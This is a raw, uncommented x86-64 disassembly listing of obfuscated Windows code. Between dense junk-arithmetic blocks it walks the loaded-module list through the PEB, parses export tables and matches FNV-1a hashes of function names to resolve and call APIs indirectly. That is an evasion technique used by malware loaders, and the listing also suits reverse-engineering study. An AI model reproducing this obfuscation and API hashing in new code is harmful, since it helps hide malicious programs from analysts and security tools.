mov eax, 0x2c881fd6
pushf
not eax
add eax, 0xb1c3a7bb
xor eax, 0xb010eae7
rol eax, 0x29
popf
pushf
not eax
add eax, 0xa52329d6
xor eax, 0xb957fd22
rol eax, 0x32
popf
pushf
not eax
add eax, 0xbbbdd5ba
xor eax, 0xad07b8b5
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd2b7061e
xor eax, 0x9123168b
rol eax, 0xb2
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x8d373dda
pushf
not eax
add eax, 0xcc3b8961
xor eax, 0x8f2ea57f
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xc0a41d41
xor eax, 0xcaea6c3b
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xcdbf14a3
xor eax, 0xe7acd92e
rol eax, 0x42
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x1d8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x1e0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xc8]
mov qword [rsp + 0x190], rax
jmp 0x14038e851
jmp 0x14038e108
mov rax, qword [rsp + 0x128]
mov rax, qword [rax]
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x130]
cmp qword [rsp + 0x128], rax
je 0x14038e5e8
push rax
pushf
mov eax, 0xbab01875
pushf
not eax
add eax, 0xe1d2b506
xor eax, 0xdc31ec3a
rol eax, 0x55
popf
pushf
not eax
add eax, 0xfa3f2322
xor eax, 0x9cc9995f
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xa1666fad
xor eax, 0xbf72322a
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x97f77e6d
xor eax, 0xe304e189
rol eax, 0xa6
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x30a5cf78
pushf
not eax
add eax, 0xcdbaf52c
xor eax, 0xb524423d
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8c8469ff
xor eax, 0xc895894c
rol eax, 6
popf
pushf
not eax
add eax, 0xdc2a4920
xor eax, 0xf48d0f29
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xef86f492
xor eax, 0xcbc6ee75
rol eax, 0xcd
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x128]
cmp qword [rax + 0x30], 0
je 0x14038e683
push rax
pushf
mov eax, 0x6e6d8781
pushf
not eax
add eax, 0xf1e6477e
xor eax, 0xe9526b2e
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf884dce4
xor eax, 0x8b5e3a37
rol eax, 0x25
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x2cc3e4f4
pushf
not eax
add eax, 0xd956feb9
xor eax, 0x82138e4b
rol eax, 0x93
popf
pushf
not eax
add eax, 0xa039b8ca
xor eax, 0xe3c0448f
rol eax, 0x7f
popf
jmp 0x14038cbfe
mov dword [rsp + 0x58], 1
jmp 0x14038e72e
mov dword [rsp + 0x58], 0
push rax
pushf
mov eax, 0x6ffbd7f1
pushf
not eax
add eax, 0xef3f1002
xor eax, 0x86489de6
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb706a935
xor eax, 0xfca73bc4
rol eax, 0x3c
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x58]
test eax, eax
jne 0x14038e794
push rax
pushf
mov eax, 0x98152242
pushf
not eax
add eax, 0x96b26c22
xor eax, 0xf624f7aa
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xf1140666
xor eax, 0x848d0ba7
rol eax, 0x89
popf
pushf
not eax
add eax, 0x942f9d4d
xor eax, 0xc5829a8c
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xb873faee
xor eax, 0xeddbd49b
rol eax, 0xda
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xbc1c9826
pushf
not eax
add eax, 0xa184e109
xor eax, 0x8f016848
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa4b36064
xor eax, 0xd1bde790
rol eax, 1
popf
pushf
not eax
add eax, 0xa75e5933
xor eax, 0xe12b107a
rol eax, 0x38
popf
pushf
not eax
add eax, 0x99b666a3
xor eax, 0xf70de6be
rol eax, 0x95
popf
jmp 0x14038cbfe
mov qword [rsp + 0x190], 0
push rax
pushf
mov eax, 0x10775d92
pushf
not eax
add eax, 0xea480a3e
xor eax, 0x90ef88e0
rol eax, 5
popf
pushf
not eax
add eax, 0x83eee0e5
xor eax, 0xf5553f84
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xbe3fd5a7
xor eax, 0xa17a59f2
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xf0043b91
xor eax, 0xee1334b0
rol eax, 0x98
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0x90]
jmp 0x14038e872
call qword [rsp + 0x1f0]
test eax, eax
je 0x14038e8b4
push rax
pushf
mov eax, 0x4abc2fe4
pushf
not eax
add eax, 0x83b63750
xor eax, 0xa0741c0b
rol eax, 0x45
popf
pushf
not eax
add eax, 0xbe761e8d
xor eax, 0xaca63279
rol eax, 0xf1
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xe39ebf0a
pushf
not eax
add eax, 0xfa6204a2
xor eax, 0x9532cf16
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xc1d49197
xor eax, 0xd0341013
rol eax, 0x4f
popf
jmp 0x14038cbfe
lea rdx, [rsp + 0x2ec]
mov rcx, qword [rsp + 0x400]
call fcn.1402163d4
movzx eax, al
test eax, eax
je 0x14038e936
push rax
pushf
mov eax, 0x702d43bf
pushf
not eax
add eax, 0x87f644c0
xor eax, 0xa3c31dec
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9ce4b085
xor eax, 0xe8da9138
rol eax, 0x3c
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x8020d6cd
pushf
not eax
add eax, 0xb6df01d6
xor eax, 0xb8bcbc10
rol eax, 0x65
popf
pushf
not eax
add eax, 0xeca2826d
xor eax, 0xc9e40ade
rol eax, 3
popf
pushf
not eax
add eax, 0x9c316369
xor eax, 0xce2114f1
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa611724f
xor eax, 0xf6b735c1
rol eax, 0x23
popf
jmp 0x14038cbfe
mov byte [rsp + 0x24], 1
jmp 0x14038f46c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
push rax
pushf
mov eax, 0xad5a6aef
pushf
not eax
add eax, 0xcd352384
xor eax, 0x9e3b8343
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xd925a1a5
xor eax, 0xf8a8d2af
rol eax, 0x33
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x108]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x80]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, 0x16c3e569
pushf
not ecx
add ecx, 0xafd5f64e
xor ecx, 0xf0a73fac
rol ecx, 2
popf
pushf
not ecx
add ecx, 0xc19bd5da
xor ecx, 0x9eaecd67
rol ecx, 0xb
popf
pushf
not ecx
add ecx, 0xde98c178
xor ecx, 0x8fe9d554
rol ecx, 0xb7
popf
imul rcx, rcx, 0
mov rax, qword [rax + rcx + 0x88]
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x198]
mov rcx, qword [rsp + 0x80]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xe8], rax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0xf0], eax
mov rax, qword [rsp + 0xe0]
cmp qword [rsp + 0xe8], rax
je 0x14038eb86
push rax
pushf
mov eax, 0x218d1cb1
pushf
not eax
add eax, 0xcfb8c22f
xor eax, 0x89ce9a83
rol eax, 0
popf
pushf
not eax
add eax, 0xca7d5ab5
xor eax, 0xf5b07b6e
rol eax, 2
popf
pushf
not eax
add eax, 0xe906e752
xor eax, 0x8c655faa
rol eax, 0x1f
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x51b028d2
pushf
not eax
add eax, 0x96343105
xor eax, 0xc3b8a746
rol eax, 0xda
popf
pushf
not eax
add eax, 0xb9f7703b
xor eax, 0xe7da7dc5
rol eax, 0xfe
popf
jmp 0x14038cbfe
mov dword [rsp + 0x5c], 1
jmp 0x14038ec6d
mov dword [rsp + 0x5c], 0
push rax
pushf
mov eax, 0xad807023
pushf
not eax
add eax, 0xfc0a3161
xor eax, 0xda4f4086
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xdd233db9
xor eax, 0xa665a7c2
rol eax, 0x14
popf
pushf
not eax
add eax, 0xbf36f69b
xor eax, 0xe7b99761
rol eax, 0x2e
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x5c]
test eax, eax
je 0x14038ecd3
push rax
pushf
mov eax, 0x63716615
pushf
not eax
add eax, 0x94e3b040
xor eax, 0xfd1a38ee
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xabed7288
xor eax, 0xd43adc84
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xcb245e06
xor eax, 0xb4563ace
rol eax, 0x78
popf
pushf
not eax
add eax, 0xa4f7d385
xor eax, 0x94557410
rol eax, 0x8f
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xe7dee30e
pushf
not eax
add eax, 0xce7a1e72
xor eax, 0xa2786875
rol eax, 0x89
popf
pushf
not eax
add eax, 0xc007ad2d
xor eax, 0xeae6cf20
rol eax, 0x35
popf
pushf
not eax
add eax, 0xbed418ca
xor eax, 0xce7067e0
rol eax, 0x75
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x34]
jmp 0x14038ed38
dec eax
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x148], 0
je 0x14038ed7f
push rax
pushf
mov eax, 0x46b5316d
pushf
not eax
add eax, 0xa71cc12f
xor eax, 0xaf83f23f
rol eax, 0x17
popf
pushf
not eax
add eax, 0x85288884
xor eax, 0x85c09674
rol eax, 0xe0
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x354ffb63
pushf
not eax
add eax, 0x9016896a
xor eax, 0xc7444eda
rol eax, 0x92
popf
pushf
not eax
add eax, 0xa5c6c209
xor eax, 0xa2544b8d
rol eax, 0xbf
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x34]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xe0]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0x44], 0x811c9dc5
push rax
pushf
mov eax, 0x30300c03
pushf
not eax
add eax, 0x89afb41c
xor eax, 0xb7d23148
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xd7eeb905
xor eax, 0x8b9af4cf
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa78320e6
xor eax, 0xa9537499
rol eax, 0xb9
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x168]
movzx eax, byte [rax]
mov byte [rsp + 0x27], al
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
movzx eax, byte [rsp + 0x27]
mov byte [rsp + 0x22], al
movsx eax, byte [rsp + 0x22]
test eax, eax
jne 0x14038eeb0
push rax
pushf
mov eax, 0xdc266c7f
pushf
not eax
add eax, 0xd0621889
xor eax, 0xb63242c3
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa2ae203a
xor eax, 0xc9691efc
rol eax, 0x92
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x1e1a15ad
pushf
not eax
add eax, 0xf2f827f9
xor eax, 0x9e861b11
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xfa35b5fb
xor eax, 0xf90a6cb5
rol eax, 0xe1
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x14c], eax
jmp 0x14038efb1
movsx eax, byte [rsp + 0x22]
mov ecx, dword [rsp + 0x44]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x44], eax
jmp 0x14038ee49
cmp dword [rsp + 0x14c], 0x15eec872
jne 0x14038f004
push rax
pushf
mov eax, 0x5c282c4b
pushf
not eax
add eax, 0xabaae5da
xor eax, 0xf6b3c92b
rol eax, 0xce
popf
pushf
not eax
add eax, 0xa5f4f6e7
xor eax, 0xb0783a7f
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xb617ac32
xor eax, 0xb93dbebf
rol eax, 0x77
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xe4b10876
pushf
not eax
add eax, 0xf11510ec
xor eax, 0xca870ef1
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcbddc462
xor eax, 0xbed43647
rol eax, 0x1e
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xe0]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xe0]
mov qword [rsp + 0x218], rax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x218]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x220]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xe0]
mov qword [rsp + 0x1a0], rax
jmp 0x14038f43c
jmp 0x14038ed28
mov rax, qword [rsp + 0x108]
mov rax, qword [rax]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x110]
cmp qword [rsp + 0x108], rax
je 0x14038f1bc
push rax
pushf
mov eax, 0x67aa3116
pushf
not eax
add eax, 0x92b73d48
xor eax, 0x9dceb8e8
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xefe81ceb
xor eax, 0xaf15b4e6
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xeb78bc92
xor eax, 0xd7594389
rol eax, 0x63
popf
pushf
not eax
add eax, 0xd9eb9f63
xor eax, 0xff3804ee
rol eax, 0x40
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x39f601a7
pushf
not eax
add eax, 0xe3f6f8ba
xor eax, 0xccc26462
rol eax, 0
popf
pushf
not eax
add eax, 0xfdf555a2
xor eax, 0xaf524b01
rol eax, 0xce
popf
pushf
not eax
add eax, 0xb6f2c6b8
xor eax, 0x957eb89f
rol eax, 0x2d
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x108]
cmp qword [rax + 0x30], 0
je 0x14038f244
push rax
pushf
mov eax, 0x6410bb3f
pushf
not eax
add eax, 0xeea6581a
xor eax, 0x838b42a0
rol eax, 0x37
popf
pushf
not eax
add eax, 0xc824f73c
xor eax, 0x8b3d67cc
rol eax, 0x71
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x445d7703
pushf
not eax
add eax, 0xdb7f0f06
xor eax, 0xdcef1c79
rol eax, 2
popf
pushf
not eax
add eax, 0xf74ecb5f
xor eax, 0xc813d971
rol eax, 0x13
popf
jmp 0x14038cbfe
mov dword [rsp + 0x60], 1
jmp 0x14038f33e
mov dword [rsp + 0x60], 0
push rax
pushf
mov eax, 0x5fbc1061
pushf
not eax
add eax, 0x92034b90
xor eax, 0xed597977
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xf57b5316
xor eax, 0xf17e960f
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xc4cb2652
xor eax, 0xa1a48997
rol eax, 0xee
popf
pushf
not eax
add eax, 0xfc57a916
xor eax, 0x80fb6083
rol eax, 0x86
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14038f391
push rax
pushf
mov eax, 0xc9e47a43
pushf
not eax
add eax, 0xf66f5d64
xor eax, 0xc19bf515
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe61ab5ca
xor eax, 0xa1c51f5e
rol eax, 0x61
popf
pushf
not eax
add eax, 0x90ef8298
xor eax, 0xd840a40e
rol eax, 0x55
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x2e1174bf
pushf
not eax
add eax, 0xdd68db34
xor eax, 0x81f01e29
rol eax, 0x37
popf
pushf
not eax
add eax, 0x98695fdf
xor eax, 0xd6aab755
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xec941f73
xor eax, 0xbb3e520e
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xe99f9a27
xor eax, 0x9c74d5be
rol eax, 0x99
popf
jmp 0x14038cbfe
mov qword [rsp + 0x1a0], 0
push rax
pushf
mov eax, 0x8e662e4b
pushf
not eax
add eax, 0xf03de5f4
xor eax, 0x8521e469
rol eax, 0xee
popf
pushf
not eax
add eax, 0xd6a42d24
xor eax, 0xa04382d4
rol eax, 0x29
popf
pushf
not eax
add eax, 0xb7f441a7
xor eax, 0xe991dbe3
rol eax, 0x48
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x230], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0x90]
jmp 0x14038f45d
call qword [rsp + 0x230]
test eax, eax
jne 0x14038e8e7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
mov rax, qword [rax]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
push rax
pushf
mov eax, 0x4220188a
pushf
not eax
add eax, 0xff28e527
xor eax, 0xa6f364ec
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xf684f944
xor eax, 0x9a8cfcf9
rol eax, 0x89
popf
pushf
not eax
add eax, 0xbb3c0ca9
xor eax, 0xa0359dc4
rol eax, 0x14
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x118]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x88]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x88]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, 0x5a740e66
pushf
not ecx
add ecx, 0x8fa26ca3
xor ecx, 0xf81dc7e6
rol ecx, 0x91
popf
pushf
not ecx
add ecx, 0xbbbd02c3
xor ecx, 0xd080bb0d
rol ecx, 0x2c
popf
pushf
not ecx
add ecx, 0xef2b3a7d
xor ecx, 0x89197aa2
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xb23200df
xor ecx, 0xe750e349
rol ecx, 0x72
popf
imul rcx, rcx, 0
mov rax, qword [rax + rcx + 0x88]
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x88]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x1ac]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x98]
cmp qword [rsp + 0xa0], rax
je 0x14038f661
push rax
pushf
mov eax, 0x34d38144
pushf
not eax
add eax, 0xe80d8880
xor eax, 0xff04a1b1
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc4fb42ec
xor eax, 0xcd6fb995
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xd342c461
xor eax, 0xaade6d6e
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x9f4822aa
xor eax, 0x8e19459a
rol eax, 0x4d
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x7f1a5de1
pushf
not eax
add eax, 0x94b90f9c
xor eax, 0xbae58fa0
rol eax, 0x64
popf
pushf
not eax
add eax, 0xf100ce3a
xor eax, 0xf9c8ec8f
rol eax, 0x2f
popf
jmp 0x14038cbfe
mov dword [rsp + 0x64], 1
jmp 0x14038f722
mov dword [rsp + 0x64], 0
push rax
pushf
mov eax, 0x6d4fc6fa
pushf
not eax
add eax, 0xbae9a9b8
xor eax, 0xf835c0a2
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xe752e54a
xor eax, 0x95430a73
rol eax, 0x28
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x14038f775
push rax
pushf
mov eax, 0x6462a76e
pushf
not eax
add eax, 0xa8243e91
xor eax, 0xae67a108
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x8b96924b
xor eax, 0x9bf8f4e2
rol eax, 0x82
popf
pushf
not eax
add eax, 0x9231d3cc
xor eax, 0xe3668f7e
rol eax, 0x82
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x9ba0803b
pushf
not eax
add eax, 0xd4fdeec6
xor eax, 0xe5bd0fb4
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf1f743cc
xor eax, 0xcf94a8de
rol eax, 0x80
popf
pushf
not eax
add eax, 0xaf2bc483
xor eax, 0xfc44e3fc
rol eax, 0xaa
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x38]
jmp 0x14038f7da
dec eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x150], 0
je 0x14038f847
push rax
pushf
mov eax, 0x9fb00c9f
pushf
not eax
add eax, 0xff13b4eb
xor eax, 0xdd0754a7
rol eax, 0x62
popf
pushf
not eax
add eax, 0xe797d987
xor eax, 0xa8c4a217
rol eax, 0x67
popf
pushf
not eax
add eax, 0xd5482b5e
xor eax, 0x8a7b8521
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe20c796b
xor eax, 0xaeeb7a62
rol eax, 2
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xd9616869
pushf
not eax
add eax, 0xf3b8fc03
xor eax, 0xbedaaa7b
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe0361d18
xor eax, 0x9d27f4b4
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xd42ca8a9
xor eax, 0xc6f82fa0
rol eax, 0xe0
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x98]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x38]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x98]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x48], 0x811c9dc5
push rax
pushf
mov eax, 0x6eafcc0
pushf
not eax
add eax, 0xb077ea75
xor eax, 0xae087d78
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x81e839c1
xor eax, 0xc76972be
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xf369b85b
xor eax, 0xdf81f7de
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe2205f94
xor eax, 0xd87b99f8
rol eax, 0x28
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x170]
movzx eax, byte [rax]
mov byte [rsp + 0x28], al
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x23], al
movsx eax, byte [rsp + 0x23]
test eax, eax
jne 0x14038f9b1
push rax
pushf
mov eax, 0x6ea0b60f
pushf
not eax
add eax, 0xa434f8e6
xor eax, 0xcc7d1864
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xbb435fa0
xor eax, 0xfa36cf48
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf236be9e
xor eax, 0x800cbf13
rol eax, 0x7e
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x36efdf7a
pushf
not eax
add eax, 0x96bb85bd
xor eax, 0x9ff1fdae
rol eax, 0x91
popf
pushf
not eax
add eax, 0xf8c5cb3d
xor eax, 0xf59f8c04
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xa3053489
xor eax, 0xf742fe23
rol eax, 0x71
popf
jmp 0x14038cbfe
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x154], eax
jmp 0x14038fab2
movsx eax, byte [rsp + 0x23]
mov ecx, dword [rsp + 0x48]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x48], eax
jmp 0x14038f937
cmp dword [rsp + 0x154], 0xfaba0065
jne 0x14038faf2
push rax
pushf
mov eax, 0xfa92f815
pushf
not eax
add eax, 0x83484a59
xor eax, 0xcff858c1
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd017fae1
xor eax, 0xc4bdb393
rol eax, 0x2e
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x4ce538bb
pushf
not eax
add eax, 0x9976afcf
xor eax, 0xe7d27b39
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xb61c6550
xor eax, 0xd4ab80be
rol eax, 0x26
popf
pushf
not eax
add eax, 0xa187e115
xor eax, 0xa97f2b7d
rol eax, 0xbb
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x98]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x98]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x258]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x260]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x98]
mov qword [rsp + 0x1b0], rax
jmp 0x14038ff3d
jmp 0x14038f7ca
mov rax, qword [rsp + 0x118]
mov rax, qword [rax]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
cmp qword [rsp + 0x118], rax
je 0x14038fcbd
push rax
pushf
mov eax, 0x6b0066aa
pushf
not eax
add eax, 0xca9ee5a5
xor eax, 0x97c32992
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xf804b4ea
xor eax, 0xf07acf28
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf6050921
xor eax, 0xe324175c
rol eax, 0xeb
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0xeaeec4f7
pushf
not eax
add eax, 0xae96c44b
xor eax, 0xc1b4e71e
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc0ed1b1e
xor eax, 0x9c404f70
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe6d5406c
xor eax, 0xa3a4c60e
rol eax, 0x16
popf
jmp 0x14038cbfe
mov rax, qword [rsp + 0x118]
cmp qword [rax + 0x30], 0
je 0x14038fd6b
push rax
pushf
mov eax, 0x72b24c95
pushf
not eax
add eax, 0xf14a5f8a
xor eax, 0xd2750724
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xa803f5c6
xor eax, 0xeff47b0c
rol eax, 0x91
popf
pushf
not eax
add eax, 0xce25f730
xor eax, 0xaaffcf0d
rol eax, 0xb
popf
pushf
not eax
add eax, 0xfbd29f3c
xor eax, 0xc338d62c
rol eax, 0xb9
popf
jmp 0x14038cbfe
push rax
pushf
mov eax, 0x732ad0b9
pushf
not eax
add eax, 0xb122b2a7
xor eax, 0x9348ef16
rol eax, 0x56
popf
pushf
not eax
add eax, 0xbe943b9a
xor eax, 0x802f4bf1
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xebae9567
xor eax, 0xcdf49f81
rol eax, 0x51
popf
pushf
not eax
add eax, 0xe68c0587
xor eax, 0x90a9394a
rol eax, 0x30
popf
jmp 0x14038cbfe
mov dword [rsp + 0x68], 1
jmp 0x14038fe65
mov dword [rsp + 0x68], 0
push rax
pushf
mov eax, 0x7c59d741
pushf
not eax
add eax, 0xa6a1d144
xor eax, 0xfde76c3f
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xb2f541c9
xor eax, 0xd57b386f
rol eax, 0x43
popf
jmp 0x14038cbfe
movzx eax, byte [rsp + 0x68]
test eax, eax
jne 0x14038fea5
push rax
pushf
